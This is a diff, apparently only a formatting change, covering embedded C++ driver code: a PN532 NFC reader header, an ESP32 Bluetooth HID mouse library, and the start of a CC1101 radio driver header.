uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data);
|
uint8_t *keyData);
|
||||||
uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data);
|
uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data);
|
||||||
uint8_t mifareclassic_FormatNDEF(void);
|
uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data);
|
||||||
uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber,
|
uint8_t mifareclassic_FormatNDEF(void);
|
||||||
uint8_t uriIdentifier, const char *url);
|
uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber,
|
||||||
|
uint8_t uriIdentifier, const char *url);
|
||||||
|
|
||||||
// Mifare Ultralight functions
|
// Mifare Ultralight functions
|
||||||
uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer);
|
uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer);
|
||||||
uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data);
|
uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data);
|
||||||
|
|
||||||
// NTAG2xx functions
|
// NTAG2xx functions
|
||||||
uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer);
|
uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer);
|
||||||
uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data);
|
uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data);
|
||||||
uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url,
|
uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url,
|
||||||
uint8_t dataLen);
|
uint8_t dataLen);
|
||||||
|
|
||||||
// Help functions to display formatted text
|
// Help functions to display formatted text
|
||||||
static void PrintHex(const byte *data, const uint32_t numBytes);
|
static void PrintHex(const byte *data, const uint32_t numBytes);
|
||||||
static void PrintHexChar(const byte *pbtData, const uint32_t numBytes);
|
static void PrintHexChar(const byte *pbtData, const uint32_t numBytes);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
int8_t _irq = -1, _reset = -1, _cs = -1;
|
int8_t _irq = -1, _reset = -1, _cs = -1;
|
||||||
int8_t _uid[7]; // ISO14443A uid
|
int8_t _uid[7]; // ISO14443A uid
|
||||||
int8_t _uidLen; // uid len
|
int8_t _uidLen; // uid len
|
||||||
int8_t _key[6]; // Mifare Classic key
|
int8_t _key[6]; // Mifare Classic key
|
||||||
int8_t _inListedTag; // Tg number of inlisted tag.
|
int8_t _inListedTag; // Tg number of inlisted tag.
|
||||||
|
|
||||||
// Low level communication functions that handle both SPI and I2C.
|
// Low level communication functions that handle both SPI and I2C.
|
||||||
void readdata(uint8_t *buff, uint8_t n);
|
void readdata(uint8_t *buff, uint8_t n);
|
||||||
void writecommand(uint8_t *cmd, uint8_t cmdlen);
|
void writecommand(uint8_t *cmd, uint8_t cmdlen);
|
||||||
bool isready();
|
bool isready();
|
||||||
bool waitready(uint16_t timeout);
|
bool waitready(uint16_t timeout);
|
||||||
bool readack();
|
bool readack();
|
||||||
|
|
||||||
Adafruit_SPIDevice *spi_dev = NULL;
|
Adafruit_SPIDevice *spi_dev = NULL;
|
||||||
Adafruit_I2CDevice *i2c_dev = NULL;
|
Adafruit_I2CDevice *i2c_dev = NULL;
|
||||||
HardwareSerial *ser_dev = NULL;
|
HardwareSerial *ser_dev = NULL;
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
|
||||||
|
|
@ -1,18 +1,17 @@
|
||||||
#include "BleConnectionStatus.h"
|
#include "BleConnectionStatus.h"
|
||||||
|
|
||||||
BleConnectionStatus::BleConnectionStatus(void) {
|
BleConnectionStatus::BleConnectionStatus(void) {}
|
||||||
|
|
||||||
|
void BleConnectionStatus::onConnect(BLEServer *pServer) {
|
||||||
|
this->connected = true;
|
||||||
|
BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID(
|
||||||
|
BLEUUID((uint16_t)0x2902));
|
||||||
|
desc->setNotifications(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleConnectionStatus::onConnect(BLEServer* pServer)
|
void BleConnectionStatus::onDisconnect(BLEServer *pServer) {
|
||||||
{
|
this->connected = false;
|
||||||
this->connected = true;
|
BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID(
|
||||||
BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
|
BLEUUID((uint16_t)0x2902));
|
||||||
desc->setNotifications(true);
|
desc->setNotifications(false);
|
||||||
}
|
|
||||||
|
|
||||||
void BleConnectionStatus::onDisconnect(BLEServer* pServer)
|
|
||||||
{
|
|
||||||
this->connected = false;
|
|
||||||
BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
|
|
||||||
desc->setNotifications(false);
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -3,18 +3,17 @@
|
||||||
#include "sdkconfig.h"
|
#include "sdkconfig.h"
|
||||||
#if defined(CONFIG_BT_ENABLED)
|
#if defined(CONFIG_BT_ENABLED)
|
||||||
|
|
||||||
#include <BLEServer.h>
|
|
||||||
#include "BLE2902.h"
|
#include "BLE2902.h"
|
||||||
#include "BLECharacteristic.h"
|
#include "BLECharacteristic.h"
|
||||||
|
#include <BLEServer.h>
|
||||||
|
|
||||||
class BleConnectionStatus : public BLEServerCallbacks
|
class BleConnectionStatus : public BLEServerCallbacks {
|
||||||
{
|
public:
|
||||||
public:
|
BleConnectionStatus(void);
|
||||||
BleConnectionStatus(void);
|
bool connected = false;
|
||||||
bool connected = false;
|
void onConnect(BLEServer *pServer);
|
||||||
void onConnect(BLEServer* pServer);
|
void onDisconnect(BLEServer *pServer);
|
||||||
void onDisconnect(BLEServer* pServer);
|
BLECharacteristic *inputMouse;
|
||||||
BLECharacteristic* inputMouse;
|
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // CONFIG_BT_ENABLED
|
#endif // CONFIG_BT_ENABLED
|
||||||
|
|
|
||||||
|
|
@ -1,173 +1,165 @@
|
||||||
#include <BLEDevice.h>
|
|
||||||
#include <BLEUtils.h>
|
|
||||||
#include <BLEServer.h>
|
|
||||||
#include "BLE2902.h"
|
#include "BLE2902.h"
|
||||||
#include "BLEHIDDevice.h"
|
#include "BLEHIDDevice.h"
|
||||||
#include "HIDTypes.h"
|
|
||||||
#include "HIDKeyboardTypes.h"
|
#include "HIDKeyboardTypes.h"
|
||||||
#include <driver/adc.h>
|
#include "HIDTypes.h"
|
||||||
#include "sdkconfig.h"
|
#include "sdkconfig.h"
|
||||||
|
#include <BLEDevice.h>
|
||||||
|
#include <BLEServer.h>
|
||||||
|
#include <BLEUtils.h>
|
||||||
|
#include <driver/adc.h>
|
||||||
|
|
||||||
#include "BleConnectionStatus.h"
|
#include "BleConnectionStatus.h"
|
||||||
#include "BleMouse.h"
|
#include "BleMouse.h"
|
||||||
|
|
||||||
#if defined(CONFIG_ARDUHAL_ESP_LOG)
|
#if defined(CONFIG_ARDUHAL_ESP_LOG)
|
||||||
#include "esp32-hal-log.h"
|
#include "esp32-hal-log.h"
|
||||||
#define LOG_TAG ""
|
#define LOG_TAG ""
|
||||||
#else
|
#else
|
||||||
#include "esp_log.h"
|
#include "esp_log.h"
|
||||||
static const char* LOG_TAG = "BLEDevice";
|
static const char *LOG_TAG = "BLEDevice";
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
static const uint8_t _hidReportDescriptor[] = {
|
static const uint8_t _hidReportDescriptor[] = {
|
||||||
USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
|
USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
|
||||||
USAGE(1), 0x02, // USAGE (Mouse)
|
USAGE(1), 0x02, // USAGE (Mouse)
|
||||||
COLLECTION(1), 0x01, // COLLECTION (Application)
|
COLLECTION(1), 0x01, // COLLECTION (Application)
|
||||||
USAGE(1), 0x01, // USAGE (Pointer)
|
USAGE(1), 0x01, // USAGE (Pointer)
|
||||||
COLLECTION(1), 0x00, // COLLECTION (Physical)
|
COLLECTION(1), 0x00, // COLLECTION (Physical)
|
||||||
// ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward)
|
// ------------------------------------------------- Buttons (Left, Right,
|
||||||
USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button)
|
// Middle, Back, Forward)
|
||||||
USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1)
|
USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button)
|
||||||
USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5)
|
USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1)
|
||||||
LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0)
|
USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5)
|
||||||
LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1)
|
LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0)
|
||||||
REPORT_SIZE(1), 0x01, // REPORT_SIZE (1)
|
LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1)
|
||||||
REPORT_COUNT(1), 0x05, // REPORT_COUNT (5)
|
REPORT_SIZE(1), 0x01, // REPORT_SIZE (1)
|
||||||
HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits
|
REPORT_COUNT(1), 0x05, // REPORT_COUNT (5)
|
||||||
// ------------------------------------------------- Padding
|
HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits
|
||||||
REPORT_SIZE(1), 0x03, // REPORT_SIZE (3)
|
// ------------------------------------------------- Padding
|
||||||
REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
|
REPORT_SIZE(1), 0x03, // REPORT_SIZE (3)
|
||||||
HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding
|
REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
|
||||||
// ------------------------------------------------- X/Y position, Wheel
|
HIDINPUT(1),
|
||||||
USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
|
0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding
|
||||||
USAGE(1), 0x30, // USAGE (X)
|
// ------------------------------------------------- X/Y position, Wheel
|
||||||
USAGE(1), 0x31, // USAGE (Y)
|
USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
|
||||||
USAGE(1), 0x38, // USAGE (Wheel)
|
USAGE(1), 0x30, // USAGE (X)
|
||||||
LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127)
|
USAGE(1), 0x31, // USAGE (Y)
|
||||||
LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
|
USAGE(1), 0x38, // USAGE (Wheel)
|
||||||
REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
|
LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127)
|
||||||
REPORT_COUNT(1), 0x03, // REPORT_COUNT (3)
|
LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
|
||||||
HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
|
REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
|
||||||
// ------------------------------------------------- Horizontal wheel
|
REPORT_COUNT(1), 0x03, // REPORT_COUNT (3)
|
||||||
USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices)
|
HIDINPUT(1),
|
||||||
USAGE(2), 0x38, 0x02, // USAGE (AC Pan)
|
0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
|
||||||
LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127)
|
// ------------------------------------------------- Horizontal wheel
|
||||||
LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
|
USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices)
|
||||||
REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
|
USAGE(2), 0x38, 0x02, // USAGE (AC Pan)
|
||||||
REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
|
LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127)
|
||||||
HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel)
|
LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
|
||||||
END_COLLECTION(0), // END_COLLECTION
|
REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
|
||||||
END_COLLECTION(0) // END_COLLECTION
|
REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
|
||||||
|
HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel)
|
||||||
|
END_COLLECTION(0), // END_COLLECTION
|
||||||
|
END_COLLECTION(0) // END_COLLECTION
|
||||||
};
|
};
|
||||||
|
|
||||||
BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) :
|
BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer,
|
||||||
_buttons(0),
|
uint8_t batteryLevel)
|
||||||
hid(0)
|
: _buttons(0), hid(0) {
|
||||||
{
|
this->deviceName = deviceName;
|
||||||
this->deviceName = deviceName;
|
this->deviceManufacturer = deviceManufacturer;
|
||||||
this->deviceManufacturer = deviceManufacturer;
|
this->batteryLevel = batteryLevel;
|
||||||
this->batteryLevel = batteryLevel;
|
this->connectionStatus = new BleConnectionStatus();
|
||||||
this->connectionStatus = new BleConnectionStatus();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::begin(void)
|
void BleMouse::begin(void) {
|
||||||
{
|
xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
|
||||||
xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::end(void)
|
void BleMouse::end(void) {}
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
void BleMouse::click(uint8_t b)
|
void BleMouse::click(uint8_t b) {
|
||||||
{
|
|
||||||
_buttons = b;
|
|
||||||
move(0,0,0,0);
|
|
||||||
_buttons = 0;
|
|
||||||
move(0,0,0,0);
|
|
||||||
}
|
|
||||||
|
|
||||||
void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel)
|
|
||||||
{
|
|
||||||
if (this->isConnected())
|
|
||||||
{
|
|
||||||
uint8_t m[5];
|
|
||||||
m[0] = _buttons;
|
|
||||||
m[1] = x;
|
|
||||||
m[2] = y;
|
|
||||||
m[3] = wheel;
|
|
||||||
m[4] = hWheel;
|
|
||||||
this->inputMouse->setValue(m, 5);
|
|
||||||
this->inputMouse->notify();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void BleMouse::buttons(uint8_t b)
|
|
||||||
{
|
|
||||||
if (b != _buttons)
|
|
||||||
{
|
|
||||||
_buttons = b;
|
_buttons = b;
|
||||||
move(0,0,0,0);
|
move(0, 0, 0, 0);
|
||||||
}
|
_buttons = 0;
|
||||||
|
move(0, 0, 0, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::press(uint8_t b)
|
void BleMouse::move(signed char x, signed char y, signed char wheel,
|
||||||
{
|
signed char hWheel) {
|
||||||
buttons(_buttons | b);
|
if (this->isConnected()) {
|
||||||
|
uint8_t m[5];
|
||||||
|
m[0] = _buttons;
|
||||||
|
m[1] = x;
|
||||||
|
m[2] = y;
|
||||||
|
m[3] = wheel;
|
||||||
|
m[4] = hWheel;
|
||||||
|
this->inputMouse->setValue(m, 5);
|
||||||
|
this->inputMouse->notify();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::release(uint8_t b)
|
void BleMouse::buttons(uint8_t b) {
|
||||||
{
|
if (b != _buttons) {
|
||||||
buttons(_buttons & ~b);
|
_buttons = b;
|
||||||
|
move(0, 0, 0, 0);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool BleMouse::isPressed(uint8_t b)
|
void BleMouse::press(uint8_t b) { buttons(_buttons | b); }
|
||||||
{
|
|
||||||
if ((b & _buttons) > 0)
|
void BleMouse::release(uint8_t b) { buttons(_buttons & ~b); }
|
||||||
return true;
|
|
||||||
return false;
|
bool BleMouse::isPressed(uint8_t b) {
|
||||||
|
if ((b & _buttons) > 0)
|
||||||
|
return true;
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool BleMouse::isConnected(void) {
|
bool BleMouse::isConnected(void) { return this->connectionStatus->connected; }
|
||||||
return this->connectionStatus->connected;
|
|
||||||
}
|
|
||||||
|
|
||||||
void BleMouse::setBatteryLevel(uint8_t level) {
|
void BleMouse::setBatteryLevel(uint8_t level) {
|
||||||
this->batteryLevel = level;
|
this->batteryLevel = level;
|
||||||
if (hid != 0)
|
if (hid != 0)
|
||||||
this->hid->setBatteryLevel(this->batteryLevel);
|
this->hid->setBatteryLevel(this->batteryLevel);
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::taskServer(void* pvParameter) {
|
void BleMouse::taskServer(void *pvParameter) {
|
||||||
BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter);
|
BleMouse *bleMouseInstance =
|
||||||
BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str()));
|
(BleMouse *)pvParameter; // static_cast<BleMouse *>(pvParameter);
|
||||||
BLEServer *pServer = BLEDevice::createServer();
|
BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str()));
|
||||||
pServer->setCallbacks(bleMouseInstance->connectionStatus);
|
BLEServer *pServer = BLEDevice::createServer();
|
||||||
|
pServer->setCallbacks(bleMouseInstance->connectionStatus);
|
||||||
|
|
||||||
bleMouseInstance->hid = new BLEHIDDevice(pServer);
|
bleMouseInstance->hid = new BLEHIDDevice(pServer);
|
||||||
bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map
|
bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(
|
||||||
bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse;
|
0); // <-- input REPORTID from report map
|
||||||
|
bleMouseInstance->connectionStatus->inputMouse =
|
||||||
|
bleMouseInstance->inputMouse;
|
||||||
|
|
||||||
bleMouseInstance->hid->manufacturer()->setValue(std::string(bleMouseInstance->deviceManufacturer.c_str()));
|
bleMouseInstance->hid->manufacturer()->setValue(
|
||||||
|
std::string(bleMouseInstance->deviceManufacturer.c_str()));
|
||||||
|
|
||||||
bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
|
bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
|
||||||
bleMouseInstance->hid->hidInfo(0x00,0x02);
|
bleMouseInstance->hid->hidInfo(0x00, 0x02);
|
||||||
|
|
||||||
BLESecurity *pSecurity = new BLESecurity();
|
BLESecurity *pSecurity = new BLESecurity();
|
||||||
|
|
||||||
pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
|
pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
|
||||||
|
|
||||||
bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor));
|
bleMouseInstance->hid->reportMap((uint8_t *)_hidReportDescriptor,
|
||||||
bleMouseInstance->hid->startServices();
|
sizeof(_hidReportDescriptor));
|
||||||
|
bleMouseInstance->hid->startServices();
|
||||||
|
|
||||||
bleMouseInstance->onStarted(pServer);
|
bleMouseInstance->onStarted(pServer);
|
||||||
|
|
||||||
BLEAdvertising *pAdvertising = pServer->getAdvertising();
|
BLEAdvertising *pAdvertising = pServer->getAdvertising();
|
||||||
pAdvertising->setAppearance(HID_MOUSE);
|
pAdvertising->setAppearance(HID_MOUSE);
|
||||||
pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID());
|
pAdvertising->addServiceUUID(
|
||||||
pAdvertising->start();
|
bleMouseInstance->hid->hidService()->getUUID());
|
||||||
bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
|
pAdvertising->start();
|
||||||
|
bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
|
||||||
|
|
||||||
ESP_LOGD(LOG_TAG, "Advertising started!");
|
ESP_LOGD(LOG_TAG, "Advertising started!");
|
||||||
vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY);
|
vTaskDelay(portMAX_DELAY); // delay(portMAX_DELAY);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -3,42 +3,49 @@
|
||||||
#include "sdkconfig.h"
|
#include "sdkconfig.h"
|
||||||
#if defined(CONFIG_BT_ENABLED)
|
#if defined(CONFIG_BT_ENABLED)
|
||||||
|
|
||||||
#include "BleConnectionStatus.h"
|
|
||||||
#include "BLEHIDDevice.h"
|
|
||||||
#include "BLECharacteristic.h"
|
#include "BLECharacteristic.h"
|
||||||
|
#include "BLEHIDDevice.h"
|
||||||
|
#include "BleConnectionStatus.h"
|
||||||
|
|
||||||
#define MOUSE_LEFT 1
|
#define MOUSE_LEFT 1
|
||||||
#define MOUSE_RIGHT 2
|
#define MOUSE_RIGHT 2
|
||||||
#define MOUSE_MIDDLE 4
|
#define MOUSE_MIDDLE 4
|
||||||
#define MOUSE_BACK 8
|
#define MOUSE_BACK 8
|
||||||
#define MOUSE_FORWARD 16
|
#define MOUSE_FORWARD 16
|
||||||
#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library
|
#define MOUSE_ALL \
|
||||||
|
(MOUSE_LEFT | MOUSE_RIGHT | \
|
||||||
|
MOUSE_MIDDLE) #For compatibility with the Mouse library
|
||||||
|
|
||||||
class BleMouse {
|
class BleMouse {
|
||||||
private:
|
private:
|
||||||
uint8_t _buttons;
|
uint8_t _buttons;
|
||||||
BleConnectionStatus* connectionStatus;
|
BleConnectionStatus *connectionStatus;
|
||||||
BLEHIDDevice* hid;
|
BLEHIDDevice *hid;
|
||||||
BLECharacteristic* inputMouse;
|
BLECharacteristic *inputMouse;
|
||||||
void buttons(uint8_t b);
|
void buttons(uint8_t b);
|
||||||
void rawAction(uint8_t msg[], char msgSize);
|
void rawAction(uint8_t msg[], char msgSize);
|
||||||
static void taskServer(void* pvParameter);
|
static void taskServer(void *pvParameter);
|
||||||
public:
|
|
||||||
BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100);
|
public:
|
||||||
void begin(void);
|
BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse",
|
||||||
void end(void);
|
std::string deviceManufacturer = "Espressif",
|
||||||
void click(uint8_t b = MOUSE_LEFT);
|
uint8_t batteryLevel = 100);
|
||||||
void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0);
|
void begin(void);
|
||||||
void press(uint8_t b = MOUSE_LEFT); // press LEFT by default
|
void end(void);
|
||||||
void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
|
void click(uint8_t b = MOUSE_LEFT);
|
||||||
bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
|
void move(signed char x, signed char y, signed char wheel = 0,
|
||||||
bool isConnected(void);
|
signed char hWheel = 0);
|
||||||
void setBatteryLevel(uint8_t level);
|
void press(uint8_t b = MOUSE_LEFT); // press LEFT by default
|
||||||
uint8_t batteryLevel;
|
void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
|
||||||
std::string deviceManufacturer;
|
bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
|
||||||
std::string deviceName;
|
bool isConnected(void);
|
||||||
protected:
|
void setBatteryLevel(uint8_t level);
|
||||||
virtual void onStarted(BLEServer *pServer) { };
|
uint8_t batteryLevel;
|
||||||
|
std::string deviceManufacturer;
|
||||||
|
std::string deviceName;
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void onStarted(BLEServer *pServer) {};
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // CONFIG_BT_ENABLED
|
#endif // CONFIG_BT_ENABLED
|
||||||
|
|
|
||||||
File diff suppressed because it is too large
Load Diff
|
|
@ -5,12 +5,13 @@
|
||||||
Version: November 12, 2010
|
Version: November 12, 2010
|
||||||
|
|
||||||
This library is designed to use CC1101/CC1100 module on Arduino platform.
|
This library is designed to use CC1101/CC1100 module on Arduino platform.
|
||||||
CC1101/CC1100 module is an useful wireless module.Using the functions of the
|
CC1101/CC1100 module is an useful wireless module.Using the functions of the
|
||||||
library, you can easily send and receive data by the CC1101/CC1100 module.
|
library, you can easily send and receive data by the CC1101/CC1100 module.
|
||||||
Just have fun!
|
Just have fun!
|
||||||
For the details, please refer to the datasheet of CC1100/CC1101.
|
For the details, please refer to the datasheet of CC1100/CC1101.
|
||||||
----------------------------------------------------------------------------------------------------------------
|
----------------------------------------------------------------------------------------------------------------
|
||||||
cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).
|
cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
|
||||||
|
publish Wilson Shen (ELECHOUSE).
|
||||||
----------------------------------------------------------------------------------------------------------------
|
----------------------------------------------------------------------------------------------------------------
|
||||||
*/
|
*/
|
||||||
#ifndef ELECHOUSE_CC1101_SRC_DRV_h
|
#ifndef ELECHOUSE_CC1101_SRC_DRV_h
|
||||||
|
|
@ -18,175 +19,183 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
|
||||||
|
|
||||||
#include <Arduino.h>
|
#include <Arduino.h>
|
||||||
|
|
||||||
//***************************************CC1101 define**************************************************//
|
//***************************************CC1101
|
||||||
|
//define**************************************************//
|
||||||
// CC1101 CONFIG REGSITER
|
// CC1101 CONFIG REGSITER
|
||||||
#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration
|
#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration
|
||||||
#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration
|
#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration
|
||||||
#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration
|
#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration
|
||||||
#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds
|
#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds
|
||||||
#define CC1101_SYNC1 0x04 // Sync word, high INT8U
|
#define CC1101_SYNC1 0x04 // Sync word, high INT8U
|
||||||
#define CC1101_SYNC0 0x05 // Sync word, low INT8U
|
#define CC1101_SYNC0 0x05 // Sync word, low INT8U
|
||||||
#define CC1101_PKTLEN 0x06 // Packet length
|
#define CC1101_PKTLEN 0x06 // Packet length
|
||||||
#define CC1101_PKTCTRL1 0x07 // Packet automation control
|
#define CC1101_PKTCTRL1 0x07 // Packet automation control
|
||||||
#define CC1101_PKTCTRL0 0x08 // Packet automation control
|
#define CC1101_PKTCTRL0 0x08 // Packet automation control
|
||||||
#define CC1101_ADDR 0x09 // Device address
|
#define CC1101_ADDR 0x09 // Device address
|
||||||
#define CC1101_CHANNR 0x0A // Channel number
|
#define CC1101_CHANNR 0x0A // Channel number
|
||||||
#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control
|
#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control
|
||||||
#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control
|
#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control
|
||||||
#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U
|
#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U
|
||||||
#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U
|
#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U
|
||||||
#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U
|
#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U
|
||||||
#define CC1101_MDMCFG4 0x10 // Modem configuration
|
#define CC1101_MDMCFG4 0x10 // Modem configuration
|
||||||
#define CC1101_MDMCFG3 0x11 // Modem configuration
|
#define CC1101_MDMCFG3 0x11 // Modem configuration
|
||||||
#define CC1101_MDMCFG2 0x12 // Modem configuration
|
#define CC1101_MDMCFG2 0x12 // Modem configuration
|
||||||
#define CC1101_MDMCFG1 0x13 // Modem configuration
|
#define CC1101_MDMCFG1 0x13 // Modem configuration
|
||||||
#define CC1101_MDMCFG0 0x14 // Modem configuration
|
#define CC1101_MDMCFG0 0x14 // Modem configuration
|
||||||
#define CC1101_DEVIATN 0x15 // Modem deviation setting
|
#define CC1101_DEVIATN 0x15 // Modem deviation setting
|
||||||
#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration
|
#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration
|
||||||
#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration
|
#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration
|
||||||
#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration
|
#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration
|
||||||
#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration
|
#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration
|
||||||
#define CC1101_BSCFG 0x1A // Bit Synchronization configuration
|
#define CC1101_BSCFG 0x1A // Bit Synchronization configuration
